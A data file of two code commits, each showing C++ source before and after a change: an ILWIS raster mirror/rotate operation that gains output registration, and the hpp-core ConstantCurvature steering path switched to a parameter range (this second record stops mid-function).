{"text":"<commit_before>#include <functional>\n#include <future>\n#include \"kernel.h\"\n#include \"raster.h\"\n#include \"columndefinition.h\"\n#include \"basetable.h\"\n#include \"flattable.h\"\n#include \"domainitem.h\"\n#include \"itemdomain.h\"\n#include \"identifieritem.h\"\n#include \"identifierrange.h\"\n#include \"symboltable.h\"\n#include \"ilwisoperation.h\"\n#include \"operationhelpergrid.h\"\n#include \"geometryhelper.h\"\n#include \"mirrorrotateraster.h\"\n\nusing namespace Ilwis;\nusing namespace RasterOperations;\n\nREGISTER_OPERATION(MirrorRotateRaster)\n\nMirrorRotateRaster::MirrorRotateRaster()\n{\n}\n\nMirrorRotateRaster::MirrorRotateRaster(quint64 metaid, const Ilwis::OperationExpression &expr) : OperationImplementation(metaid, expr)\n{\n\n}\n\nbool MirrorRotateRaster::dimChanged(const PixelIterator& iter) const{\n    switch(_method)    {\n    case tmMirrorVertical:\n        return iter.ychanged();\n    case tmMirrorHorizontal:\n        return iter.xchanged();\n    case tmRotate90:\n        return iter.xchanged();\n    case tmRotate270:\n        return iter.xchanged();\n    default:\n        break;\n    }\n    return false;\n}\nvoid MirrorRotateRaster::translatepixels(PixelIterator iterIn,PixelIterator iterOut, const BoundingBox& box, quint32 linelength ){\n    std::vector<double> line(linelength);\n    auto iterLine = line.begin();\n    auto end = iterIn.end();\n    for(; iterIn != end; ++iterIn, ++iterLine){\n        if ( dimChanged(iterIn)){\n            std::reverse(line.begin(), line.end());\n            std::copy(line.begin(), line.end(),iterOut);\n            iterLine = line.begin();\n            iterOut += iterIn.box().xlength();\n        }\n        (*iterLine) = *iterIn;\n    }\n    \/\/ lastline\n    std::reverse(line.begin(), line.end());\n    std::copy(line.begin(), line.end(),iterOut);\n}\n\nbool MirrorRotateRaster::execute(ExecutionContext *ctx, SymbolTable &symTable)\n{\n    if (_prepState == sNOTPREPARED)\n        if((_prepState = prepare(ctx,symTable)) != sPREPARED)\n            return false;\n\n    std::function<bool(const BoundingBox)> Transform = [&](const BoundingBox box ) -> bool {\n        if ( _method == tmMirrorVertical){\n             translatepixels(PixelIterator(_inputRaster, box),PixelIterator(_outputRaster, box), box, _outputRaster->size().xsize());\n        }\n        if ( _method == tmMirrorHorizontal){\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fYXZ),PixelIterator(_outputRaster, box,PixelIterator::fYXZ), box, _outputRaster->size().ysize());\n        }\n        if ( _method == tmRotate90){\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fYXZ),PixelIterator(_outputRaster, box,PixelIterator::fXYZ), box, _outputRaster->size().ysize());\n        }\n        if ( _method == tmRotate180){\n            _method = tmMirrorHorizontal;\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fYXZ),PixelIterator(_outputRaster, box,PixelIterator::fYXZ), box, _outputRaster->size().ysize());\n             _method = tmMirrorVertical;\n             translatepixels(PixelIterator(_outputRaster, box),PixelIterator(_outputRaster, box), box, _outputRaster->size().xsize());\n             _method = tmRotate180;\n        }\n        if ( _method == tmRotate270){\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fXYZ),PixelIterator(_outputRaster, box,PixelIterator::fYXZ), box, _outputRaster->size().xsize());\n        }\n\n        return true;\n\n    };\n\n    return  OperationHelperRaster::execute(ctx, Transform, _outputRaster);\n}\n\nIlwis::OperationImplementation *MirrorRotateRaster::create(quint64 metaid, const Ilwis::OperationExpression &expr)\n{\n    return new MirrorRotateRaster(metaid, expr);\n}\n\nIlwis::OperationImplementation::State MirrorRotateRaster::prepare(ExecutionContext *ctx, const SymbolTable &)\n{\n    QString raster = _expression.parm(0).value();\n    QString outputName = _expression.parm(0,false).value();\n    QString method = _expression.parm(1).value().toLower();\n\n    if (!_inputRaster.prepare(raster, itRASTER)) {\n        ERROR2(ERR_COULD_NOT_LOAD_2,raster,\"\");\n        return sPREPAREFAILED;\n    }\n    std::map<QString, TransPoseMethod> methods={{\"mirrhor\",tmMirrorHorizontal},{\"mirrvert\",tmMirrorVertical},\n                                                {\"mirrdiag\",tmMirrorDiagonal},{\"transpose\",tmTranspose},{\"rotate90\",tmRotate90},\n                                                {\"rotate180\",tmRotate180},{\"rotate270\",tmRotate270}};\n    auto iter = methods.find(method);\n    if ( iter == methods.end()){\n        ERROR2(ERR_NOT_FOUND2,method, TR(\"in method for mirrorrotate\"));\n        return sPREPAREFAILED;\n    }\n    _method = iter->second;\n    Size<> sz = _inputRaster->size();\n    Envelope outputenv = _inputRaster->envelope();\n    if ( _method == tmTranspose || _method == tmRotate90 || _method == tmRotate270){\n        sz = Size<>(sz.ysize(), sz.xsize(), sz.zsize());\n        Coordinate center = (outputenv.max_corner() + outputenv.min_corner()) \/ 2.0;\n        auto rotated = GeometryHelper::rotate2d(center,90,(std::vector<Coordinate>)outputenv);\n        outputenv = {rotated};\n    }\n\n    _outputRaster = OperationHelperRaster::initialize(_inputRaster,itRASTER,itCOORDSYSTEM | itDOMAIN);\n\n    QString grfs = QString(\"code=georef:type=corners,csy=%1,envelope=%2,gridsize=%3\")\n            .arg(_outputRaster->coordinateSystem()->id())\n            .arg(outputenv.toString())\n            .arg(sz.toString());\n    _outputRaster->georeference(grfs);\n    if (outputName != sUNDEF)\n        _outputRaster->name(outputName);\n\n\n    return sPREPARED;\n}\n\nquint64 MirrorRotateRaster::createMetadata()\n{\n    OperationResource operation({\"ilwis:\/\/operations\/mirrorrotateraster\"});\n    operation.setSyntax(\"mirrorrotateraster(inputraster,mirrhor | mirrvert | mirrdiag | transpose | rotate90 | rotate180 | rotate270)\");\n    operation.setDescription(TR(\"transpose the raster according to the method indicated by the second parameter\"));\n    operation.setInParameterCount({2});\n    operation.addInParameter(0,itRASTER,  TR(\"input raster\"),TR(\"ratser to be transposed\"));\n    operation.addInParameter(1,itSTRING, TR(\"transpose method\"),TR(\"rotation or mirror of the input map\"));\n    operation.setOutParameterCount({1});\n    operation.addOutParameter(0,itRASTER, TR(\"output raster\"), TR(\"output raster with a new georef\"));\n    operation.setKeywords(\"raster, geometry\");\n\n    mastercatalog()->addItems({operation});\n    return operation.id();\n}\n<commit_msg>added output strage in operation<commit_after>#include <functional>\n#include <future>\n#include \"kernel.h\"\n#include \"raster.h\"\n#include \"columndefinition.h\"\n#include \"basetable.h\"\n#include \"flattable.h\"\n#include \"domainitem.h\"\n#include \"itemdomain.h\"\n#include \"identifieritem.h\"\n#include \"identifierrange.h\"\n#include \"symboltable.h\"\n#include \"ilwisoperation.h\"\n#include \"operationhelpergrid.h\"\n#include \"geometryhelper.h\"\n#include \"mirrorrotateraster.h\"\n\nusing namespace Ilwis;\nusing namespace RasterOperations;\n\nREGISTER_OPERATION(MirrorRotateRaster)\n\nMirrorRotateRaster::MirrorRotateRaster()\n{\n}\n\nMirrorRotateRaster::MirrorRotateRaster(quint64 metaid, const Ilwis::OperationExpression &expr) : OperationImplementation(metaid, expr)\n{\n\n}\n\nbool MirrorRotateRaster::dimChanged(const PixelIterator& iter) const{\n    switch(_method)    {\n    case tmMirrorVertical:\n        return iter.ychanged();\n    case tmMirrorHorizontal:\n        return iter.xchanged();\n    case tmRotate90:\n        return iter.xchanged();\n    case tmRotate270:\n        return iter.xchanged();\n    default:\n        break;\n    }\n    return false;\n}\nvoid MirrorRotateRaster::translatepixels(PixelIterator iterIn,PixelIterator iterOut, const BoundingBox& box, quint32 linelength ){\n    std::vector<double> line(linelength);\n    auto iterLine = line.begin();\n    auto end = iterIn.end();\n    for(; iterIn != end; ++iterIn, ++iterLine){\n        if ( dimChanged(iterIn)){\n            std::reverse(line.begin(), line.end());\n            std::copy(line.begin(), line.end(),iterOut);\n            iterLine = line.begin();\n            iterOut += iterIn.box().xlength();\n        }\n        (*iterLine) = *iterIn;\n    }\n    \/\/ lastline\n    std::reverse(line.begin(), line.end());\n    std::copy(line.begin(), line.end(),iterOut);\n}\n\nbool MirrorRotateRaster::execute(ExecutionContext *ctx, SymbolTable &symTable)\n{\n    if (_prepState == sNOTPREPARED)\n        if((_prepState = prepare(ctx,symTable)) != sPREPARED)\n            return false;\n\n    std::function<bool(const BoundingBox)> Transform = [&](const BoundingBox box ) -> bool {\n        if ( _method == tmMirrorVertical){\n             translatepixels(PixelIterator(_inputRaster, box),PixelIterator(_outputRaster, box), box, _outputRaster->size().xsize());\n        }\n        if ( _method == tmMirrorHorizontal){\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fYXZ),PixelIterator(_outputRaster, box,PixelIterator::fYXZ), box, _outputRaster->size().ysize());\n        }\n        if ( _method == tmRotate90){\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fYXZ),PixelIterator(_outputRaster, box,PixelIterator::fXYZ), box, _outputRaster->size().ysize());\n        }\n        if ( _method == tmRotate180){\n            _method = tmMirrorHorizontal;\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fYXZ),PixelIterator(_outputRaster, box,PixelIterator::fYXZ), box, _outputRaster->size().ysize());\n             _method = tmMirrorVertical;\n             translatepixels(PixelIterator(_outputRaster, box),PixelIterator(_outputRaster, box), box, _outputRaster->size().xsize());\n             _method = tmRotate180;\n        }\n        if ( _method == tmRotate270){\n             translatepixels(PixelIterator(_inputRaster, box,PixelIterator::fXYZ),PixelIterator(_outputRaster, box,PixelIterator::fYXZ), box, _outputRaster->size().xsize());\n        }\n        return true;\n\n    };\n\n    bool ok = OperationHelperRaster::execute(ctx, Transform, _outputRaster);\n\n    if ( ok && ctx != 0) {\n        QVariant value;\n        value.setValue<IRasterCoverage>(_outputRaster);\n        ctx->setOutput(symTable,value,_outputRaster->name(), itRASTER, _outputRaster->source() );\n    }\n    return ok;\n}\n\nIlwis::OperationImplementation *MirrorRotateRaster::create(quint64 metaid, const Ilwis::OperationExpression &expr)\n{\n    return new MirrorRotateRaster(metaid, expr);\n}\n\nIlwis::OperationImplementation::State MirrorRotateRaster::prepare(ExecutionContext *ctx, const SymbolTable &)\n{\n    QString raster = _expression.parm(0).value();\n    QString outputName = _expression.parm(0,false).value();\n    QString method = _expression.parm(1).value().toLower();\n\n    if (!_inputRaster.prepare(raster, itRASTER)) {\n        ERROR2(ERR_COULD_NOT_LOAD_2,raster,\"\");\n        return sPREPAREFAILED;\n    }\n    std::map<QString, TransPoseMethod> methods={{\"mirrhor\",tmMirrorHorizontal},{\"mirrvert\",tmMirrorVertical},\n                                                {\"mirrdiag\",tmMirrorDiagonal},{\"transpose\",tmTranspose},{\"rotate90\",tmRotate90},\n                                                {\"rotate180\",tmRotate180},{\"rotate270\",tmRotate270}};\n    auto iter = methods.find(method);\n    if ( iter == methods.end()){\n        ERROR2(ERR_NOT_FOUND2,method, TR(\"in method for mirrorrotate\"));\n        return sPREPAREFAILED;\n    }\n    _method = iter->second;\n    Size<> sz = _inputRaster->size();\n    Envelope outputenv = _inputRaster->envelope();\n    if ( _method == tmTranspose || _method == tmRotate90 || _method == tmRotate270){\n        sz = Size<>(sz.ysize(), sz.xsize(), sz.zsize());\n        Coordinate center = (outputenv.max_corner() + outputenv.min_corner()) \/ 2.0;\n        auto rotated = GeometryHelper::rotate2d(center,90,(std::vector<Coordinate>)outputenv);\n        outputenv = {rotated};\n    }\n\n    _outputRaster = OperationHelperRaster::initialize(_inputRaster,itRASTER,itCOORDSYSTEM | itDOMAIN);\n\n    QString grfs = QString(\"code=georef:type=corners,csy=%1,envelope=%2,gridsize=%3\")\n            .arg(_outputRaster->coordinateSystem()->id())\n            .arg(outputenv.toString())\n            .arg(sz.toString());\n    _outputRaster->georeference(grfs);\n    if (outputName != sUNDEF)\n        _outputRaster->name(outputName);\n\n\n    return sPREPARED;\n}\n\nquint64 MirrorRotateRaster::createMetadata()\n{\n    OperationResource operation({\"ilwis:\/\/operations\/mirrorrotateraster\"});\n    operation.setSyntax(\"mirrorrotateraster(inputraster,mirrhor | mirrvert | mirrdiag | transpose | rotate90 | rotate180 | rotate270)\");\n    operation.setDescription(TR(\"transpose the raster according to the method indicated by the second parameter\"));\n    operation.setInParameterCount({2});\n    operation.addInParameter(0,itRASTER,  TR(\"input raster\"),TR(\"ratser to be transposed\"));\n    operation.addInParameter(1,itSTRING, TR(\"transpose method\"),TR(\"rotation or mirror of the input map\"));\n    operation.setOutParameterCount({1});\n    operation.addOutParameter(0,itRASTER, TR(\"output raster\"), TR(\"output raster with a new georef\"));\n    operation.setKeywords(\"raster, geometry\");\n\n    mastercatalog()->addItems({operation});\n    return operation.id();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2017 CNRS\n\/\/ Authors: Florent Lamiraux\n\/\/\n\/\/ This file is part of hpp-core\n\/\/ hpp-core is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ hpp-core is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ General Lesser Public License for more details.  You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ hpp-core  If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#include <hpp\/core\/steering-method\/constant-curvature.hh>\n\n#include <hpp\/pinocchio\/configuration.hh>\n#include <hpp\/pinocchio\/device.hh>\n#include <hpp\/pinocchio\/joint.hh>\n#include <pinocchio\/spatial\/se3.hpp>\n\nnamespace hpp {\n  namespace core {\n    namespace steeringMethod {\n\n      ConstantCurvaturePtr_t ConstantCurvature::create\n      (const DevicePtr_t& robot, ConfigurationIn_t init, ConfigurationIn_t end,\n       value_type length, value_type curvature, size_type xyId, size_type rzId,\n       const JointPtr_t rz, const std::vector<JointPtr_t> wheels)\n      {\n        ConstantCurvature* ptr (new ConstantCurvature\n                                (robot, init, end, length, curvature, xyId,\n                                 rzId, rz, wheels));\n        ConstantCurvaturePtr_t shPtr (ptr);\n        ptr->init (shPtr);\n        return shPtr;\n      }\n\n      ConstantCurvaturePtr_t ConstantCurvature::createCopy\n      (const ConstantCurvaturePtr_t& other)\n      {\n        ConstantCurvature* ptr (new ConstantCurvature (*other));\n        ConstantCurvaturePtr_t shPtr (ptr);\n        ptr->init (shPtr);\n        return shPtr;\n      }\n\n      ConstantCurvaturePtr_t ConstantCurvature::createCopy\n      (const ConstantCurvaturePtr_t& other,\n       const ConstraintSetPtr_t& constraints)\n      {\n\tConstantCurvature* ptr = new ConstantCurvature (*other, constraints);\n\tConstantCurvaturePtr_t shPtr (ptr);\n\tptr->init (shPtr);\n\treturn shPtr;\n      }\n\n      \/\/\/ Return a shared pointer to a copy of this\n      PathPtr_t ConstantCurvature::copy () const\n      {\n\treturn createCopy (weak_.lock ());\n      }\n\n      std::ostream& ConstantCurvature::print (std::ostream &os) const\n      {\n        os << \"-- ConstantCurvature\" << std::endl;\n        os << \"from \" << initial_.transpose () << std::endl;\n        os << \"  length: \" << forward_ * timeRange ().second << std::endl;\n        os << \"  curvature: \" << curvature_ << std::endl;\n        return os;\n      }\n\n      ConstantCurvature::ConstantCurvature\n      (const DevicePtr_t& robot, ConfigurationIn_t init, ConfigurationIn_t end,\n       value_type length, value_type curvature, size_type xyId, size_type rzId,\n       const JointPtr_t rz, const std::vector<JointPtr_t> wheels,\n       ConstraintSetPtr_t constraints) :\n        Path (std::make_pair (0., fabs (length)), robot->configSize (),\n              robot->numberDof (), constraints), robot_ (robot),\n        initial_ (init), end_ (end), curvature_ (curvature),\n        xyId_ (xyId), rzId_ (rzId), forward_ (length > 0 ? 1 : -1)\n      {\n        \/\/ Find rank of translation and rotation in velocity vectors\n        \/\/ Hypothesis: degrees of freedom all belong to a planar joint or\n        \/\/ xyId_ belong to a tranlation joint, rzId_ belongs to a SO2 joint.\n        JointPtr_t joint (robot_->getJointAtConfigRank (xyId_));\n        size_type offset (xyId_ - joint->rankInConfiguration ());\n        dxyId_ = joint->rankInVelocity () + offset;\n        joint = robot_->getJointAtConfigRank (rzId_);\n        offset = rzId_ - joint->rankInConfiguration ();\n        drzId_ = joint->rankInVelocity () + offset;\n        setWheelJoints (rz, wheels);\n        impl_compute (end_, timeRange ().second);\n      }\n\n      ConstantCurvature::ConstantCurvature\n      (const DevicePtr_t& robot, ConfigurationIn_t init, ConfigurationIn_t end,\n       value_type length, value_type curvature, size_type xyId, size_type rzId,\n       const JointPtr_t rz, const std::vector<JointPtr_t> wheels) :\n        Path (std::make_pair (0., fabs (length)), robot->configSize (),\n              robot->numberDof ()), robot_ (robot),\n        initial_ (init), end_ (end), curvature_ (curvature), xyId_ (xyId),\n        rzId_ (rzId), forward_ (length > 0 ? 1 : -1)\n      {\n        \/\/ Find rank of translation and rotation in velocity vectors\n        \/\/ Hypothesis: degrees of freedom all belong to a planar joint or\n        \/\/ xyId_ belong to a tranlation joint, rzId_ belongs to a SO2 joint.\n        JointPtr_t joint (robot_->getJointAtConfigRank (xyId_));\n        size_type offset (xyId_ - joint->rankInConfiguration ());\n        dxyId_ = joint->rankInVelocity () + offset;\n        joint = robot_->getJointAtConfigRank (rzId_);\n        offset = rzId_ - joint->rankInConfiguration ();\n        drzId_ = joint->rankInVelocity () + offset;\n        setWheelJoints (rz, wheels);\n        impl_compute (end_, timeRange ().second);\n      }\n\n      ConstantCurvature::ConstantCurvature (const ConstantCurvature& other) :\n        Path (other), robot_ (other.robot_), initial_ (other.initial_),\n        end_ (other.end_), curvature_ (other.curvature_),  xyId_ (other.xyId_),\n        rzId_ (other.rzId_), forward_ (other.forward_), wheels_ (other.wheels_)\n      {\n      }\n\n      ConstantCurvature::ConstantCurvature\n      (const ConstantCurvature& other, const ConstraintSetPtr_t& constraints) :\n        parent_t (other, constraints), robot_ (other.robot_),\n        initial_ (other.initial_), end_ (other.end_),\n        curvature_ (other.curvature_),  xyId_ (other.xyId_),\n        rzId_ (other.rzId_), forward_ (other.forward_), wheels_ (other.wheels_)\n      {\n      }\n\n      bool ConstantCurvature::impl_compute (ConfigurationOut_t result,\n                                            value_type param) const\n      {\n        \/\/ Does a linear interpolation on all the joints.\n        const value_type u = (timeRange ().second == 0) ? 0 :\n          param\/timeRange ().second;\n        pinocchio::interpolate (robot_, initial_, end_, u, result);\n\n        value_type t (forward_ * param);\n        value_type x0 (initial_ [xyId_ + 0]), y0 (initial_ [xyId_ + 1]);\n        value_type c0 (initial_ [rzId_ + 0]), s0 (initial_ [rzId_ + 1]);\n        value_type x, y;\n        value_type c (cos (curvature_ * t)), s (sin (curvature_ * t));\n\n        if (curvature_ == 0) {\n          x  = x0 + t * c0;\n          y  = y0 + t * s0;\n        } else {\n          value_type r (1.\/curvature_);\n          x = x0 + r * (s0 * (c - 1) + c0 * s);\n          y = y0 + r * (c0 * (1 - c) + s0 * s);\n        }\n        result [xyId_ + 0] = x;\n        result [xyId_ + 1] = y;\n        result [rzId_ + 0] = c0 * c - s0 * s;\n        result [rzId_ + 1] = c0 * s + s0 * c;\n\n        \/\/ Set wheel joint positions\n        for (std::vector<Wheels_t>::const_iterator w = wheels_.begin ();\n             w < wheels_.end (); ++w) {\n          result [w->j->rankInConfiguration ()] = w->value;\n        }\n        return true;\n      }\n\n      void ConstantCurvature::impl_derivative\n      (vectorOut_t result, const value_type& param, size_type order) const\n      {\n        value_type t (forward_ * param);\n        value_type alpha (1);\n        if (forward_ == -1 && order%2 == 1) alpha = -1;\n        value_type c0 (initial_ [rzId_ + 0]), s0 (initial_ [rzId_ + 1]);\n        value_type dx, dy, dtheta = 0;\n        value_type c (cos (curvature_ * t)), s (sin (curvature_ * t));\n\n        if (order <= 0) {\n          std::ostringstream oss;\n          oss << \"order of derivative (\" << order << \") should be positive.\";\n          throw std::runtime_error (oss.str ().c_str ());\n        }\n        if (order == 1) {\n          dx = alpha * (c0 * c - s0 * s);\n          dy = alpha * (c0 * s + s0 * c);\n          dtheta = alpha * curvature_;\n        } else if (order % 4 == 2) {\n          dx =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n          dy = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n        } else if (order % 4 == 3) {\n          dx = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n          dy = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n        } else if (order % 4 == 0) {\n          dx =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n          dy = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n        } else if (order % 4 == 1) {\n          dx =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n          dy =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n        }\n\n        result [dxyId_ + 0] = dx;\n        result [dxyId_ + 1] = dy;\n        result [rzId_] = dtheta;\n\n        \/\/ Set wheel joint velocities\n        for (std::vector<Wheels_t>::const_iterator w = wheels_.begin ();\n             w < wheels_.end (); ++w) {\n          result [w->j->rankInConfiguration ()] = 0;\n        }\n      }\n\n      inline value_type meanBounds(const JointPtr_t& j, const size_type& i)\n      {\n        return (j->upperBound(i) + j->lowerBound(i))\/2;\n      }\n\n      inline value_type saturate (const value_type& v, const JointPtr_t& j,\n                                  const size_type& i)\n      {\n        return std::min(j->upperBound(i), std::max(j->lowerBound(i), v));\n      }\n\n      void ConstantCurvature::setWheelJoints\n      (const JointPtr_t rz, const std::vector<JointPtr_t> wheels)\n      {\n        Transform3f zt (rz->currentTransformation ().inverse ());\n        wheels_.resize(wheels.size());\n        std::size_t rk = 0;\n        if (curvature_ == 0) {\n          for (std::vector<JointPtr_t>::const_iterator _wheels = wheels.begin();\n               _wheels != wheels.end(); ++_wheels) {\n            wheels_[rk].j = *_wheels;\n            wheels_[rk].value = meanBounds(wheels_[rk].j, 0);\n            ++rk;\n          }\n        } else {\n          value_type rho (1.\/curvature_);\n          for (std::vector<JointPtr_t>::const_iterator _wheels = wheels.begin();\n               _wheels != wheels.end(); ++_wheels) {\n            wheels_[rk].j = *_wheels;\n            wheels_[rk].value = meanBounds(wheels_[rk].j, 0);\n            const vector3_t wheelPos = zt.act\n              (wheels_[rk].j->currentTransformation().translation());\n            const value_type value (std::atan(wheelPos[0] \/\n                                              (rho - wheelPos[1])));\n            wheels_[rk].value = saturate(meanBounds(wheels_[rk].j, 0) + value,\n                                         *_wheels, 0);\n            ++rk;\n          }\n        }\n      }\n\n    } \/\/ namespace steeringMethod\n  } \/\/ namespace core\n} \/\/ namespace hpp\n<commit_msg>Fix steeringMethod::ConstantCurvature<commit_after>\/\/\n\/\/ Copyright (c) 2017 CNRS\n\/\/ Authors: Florent Lamiraux\n\/\/\n\/\/ This file is part of hpp-core\n\/\/ hpp-core is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ hpp-core is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ General Lesser Public License for more details.  You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ hpp-core  If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#include <hpp\/core\/steering-method\/constant-curvature.hh>\n\n#include <hpp\/pinocchio\/configuration.hh>\n#include <hpp\/pinocchio\/device.hh>\n#include <hpp\/pinocchio\/joint.hh>\n#include <pinocchio\/spatial\/se3.hpp>\n\nnamespace hpp {\n  namespace core {\n    namespace steeringMethod {\n\n      ConstantCurvaturePtr_t ConstantCurvature::create\n      (const DevicePtr_t& robot, ConfigurationIn_t init, ConfigurationIn_t end,\n       value_type length, value_type curvature, size_type xyId, size_type rzId,\n       const JointPtr_t rz, const std::vector<JointPtr_t> wheels)\n      {\n        ConstantCurvature* ptr (new ConstantCurvature\n                                (robot, init, end, length, curvature, xyId,\n                                 rzId, rz, wheels));\n        ConstantCurvaturePtr_t shPtr (ptr);\n        ptr->init (shPtr);\n        return shPtr;\n      }\n\n      ConstantCurvaturePtr_t ConstantCurvature::createCopy\n      (const ConstantCurvaturePtr_t& other)\n      {\n        ConstantCurvature* ptr (new ConstantCurvature (*other));\n        ConstantCurvaturePtr_t shPtr (ptr);\n        ptr->init (shPtr);\n        return shPtr;\n      }\n\n      ConstantCurvaturePtr_t ConstantCurvature::createCopy\n      (const ConstantCurvaturePtr_t& other,\n       const ConstraintSetPtr_t& constraints)\n      {\n\tConstantCurvature* ptr = new ConstantCurvature (*other, constraints);\n\tConstantCurvaturePtr_t shPtr (ptr);\n\tptr->init (shPtr);\n\treturn shPtr;\n      }\n\n      \/\/\/ Return a shared pointer to a copy of this\n      PathPtr_t ConstantCurvature::copy () const\n      {\n\treturn createCopy (weak_.lock ());\n      }\n\n      std::ostream& ConstantCurvature::print (std::ostream &os) const\n      {\n        os << \"-- ConstantCurvature\" << std::endl;\n        os << \"from \" << initial_.transpose () << std::endl;\n        os << \"  length: \" << forward_ * paramLength() << std::endl;\n        os << \"  curvature: \" << curvature_ << std::endl;\n        return os;\n      }\n\n      ConstantCurvature::ConstantCurvature\n      (const DevicePtr_t& robot, ConfigurationIn_t init, ConfigurationIn_t end,\n       value_type length, value_type curvature, size_type xyId, size_type rzId,\n       const JointPtr_t rz, const std::vector<JointPtr_t> wheels,\n       ConstraintSetPtr_t constraints) :\n        Path (std::make_pair (0., fabs (length)), robot->configSize (),\n              robot->numberDof (), constraints), robot_ (robot),\n        initial_ (init), end_ (end), curvature_ (curvature),\n        xyId_ (xyId), rzId_ (rzId), forward_ (length > 0 ? 1 : -1)\n      {\n        \/\/ Find rank of translation and rotation in velocity vectors\n        \/\/ Hypothesis: degrees of freedom all belong to a planar joint or\n        \/\/ xyId_ belong to a tranlation joint, rzId_ belongs to a SO2 joint.\n        JointPtr_t joint (robot_->getJointAtConfigRank (xyId_));\n        size_type offset (xyId_ - joint->rankInConfiguration ());\n        dxyId_ = joint->rankInVelocity () + offset;\n        joint = robot_->getJointAtConfigRank (rzId_);\n        offset = rzId_ - joint->rankInConfiguration ();\n        drzId_ = joint->rankInVelocity () + offset;\n        setWheelJoints (rz, wheels);\n        impl_compute (end_, paramRange ().second);\n      }\n\n      ConstantCurvature::ConstantCurvature\n      (const DevicePtr_t& robot, ConfigurationIn_t init, ConfigurationIn_t end,\n       value_type length, value_type curvature, size_type xyId, size_type rzId,\n       const JointPtr_t rz, const std::vector<JointPtr_t> wheels) :\n        Path (std::make_pair (0., fabs (length)), robot->configSize (),\n              robot->numberDof ()), robot_ (robot),\n        initial_ (init), end_ (end), curvature_ (curvature), xyId_ (xyId),\n        rzId_ (rzId), forward_ (length > 0 ? 1 : -1)\n      {\n        \/\/ Find rank of translation and rotation in velocity vectors\n        \/\/ Hypothesis: degrees of freedom all belong to a planar joint or\n        \/\/ xyId_ belong to a tranlation joint, rzId_ belongs to a SO2 joint.\n        JointPtr_t joint (robot_->getJointAtConfigRank (xyId_));\n        size_type offset (xyId_ - joint->rankInConfiguration ());\n        dxyId_ = joint->rankInVelocity () + offset;\n        joint = robot_->getJointAtConfigRank (rzId_);\n        offset = rzId_ - joint->rankInConfiguration ();\n        drzId_ = joint->rankInVelocity () + offset;\n        setWheelJoints (rz, wheels);\n        impl_compute (end_, paramRange ().second);\n      }\n\n      ConstantCurvature::ConstantCurvature (const ConstantCurvature& other) :\n        Path (other), robot_ (other.robot_), initial_ (other.initial_),\n        end_ (other.end_), curvature_ (other.curvature_),  xyId_ (other.xyId_),\n        rzId_ (other.rzId_), forward_ (other.forward_), wheels_ (other.wheels_)\n      {\n      }\n\n      ConstantCurvature::ConstantCurvature\n      (const ConstantCurvature& other, const ConstraintSetPtr_t& constraints) :\n        parent_t (other, constraints), robot_ (other.robot_),\n        initial_ (other.initial_), end_ (other.end_),\n        curvature_ (other.curvature_),  xyId_ (other.xyId_),\n        rzId_ (other.rzId_), forward_ (other.forward_), wheels_ (other.wheels_)\n      {\n      }\n\n      bool ConstantCurvature::impl_compute (ConfigurationOut_t result,\n                                            value_type param) const\n      {\n        const value_type L = paramLength();\n        \/\/ Does a linear interpolation on all the joints.\n        const value_type u = (L == 0) ? 0 : ((param - paramRange ().first) \/ L );\n        pinocchio::interpolate (robot_, initial_, end_, u, result);\n\n        value_type t (forward_ * param);\n        value_type x0 (initial_ [xyId_ + 0]), y0 (initial_ [xyId_ + 1]);\n        value_type c0 (initial_ [rzId_ + 0]), s0 (initial_ [rzId_ + 1]);\n        value_type x, y;\n        value_type c (cos (curvature_ * t)), s (sin (curvature_ * t));\n\n        if (curvature_ == 0) {\n          x  = x0 + t * c0;\n          y  = y0 + t * s0;\n        } else {\n          value_type r (1.\/curvature_);\n          x = x0 + r * (s0 * (c - 1) + c0 * s);\n          y = y0 + r * (c0 * (1 - c) + s0 * s);\n        }\n        result [xyId_ + 0] = x;\n        result [xyId_ + 1] = y;\n        result [rzId_ + 0] = c0 * c - s0 * s;\n        result [rzId_ + 1] = c0 * s + s0 * c;\n\n        \/\/ Set wheel joint positions\n        for (std::vector<Wheels_t>::const_iterator w = wheels_.begin ();\n             w < wheels_.end (); ++w) {\n          result [w->j->rankInConfiguration ()] = w->value;\n        }\n        return true;\n      }\n\n      void ConstantCurvature::impl_derivative\n      (vectorOut_t result, const value_type& param, size_type order) const\n      {\n        value_type t (forward_ * param);\n        value_type alpha (1);\n        if (forward_ == -1 && order%2 == 1) alpha = -1;\n        value_type c0 (initial_ [rzId_ + 0]), s0 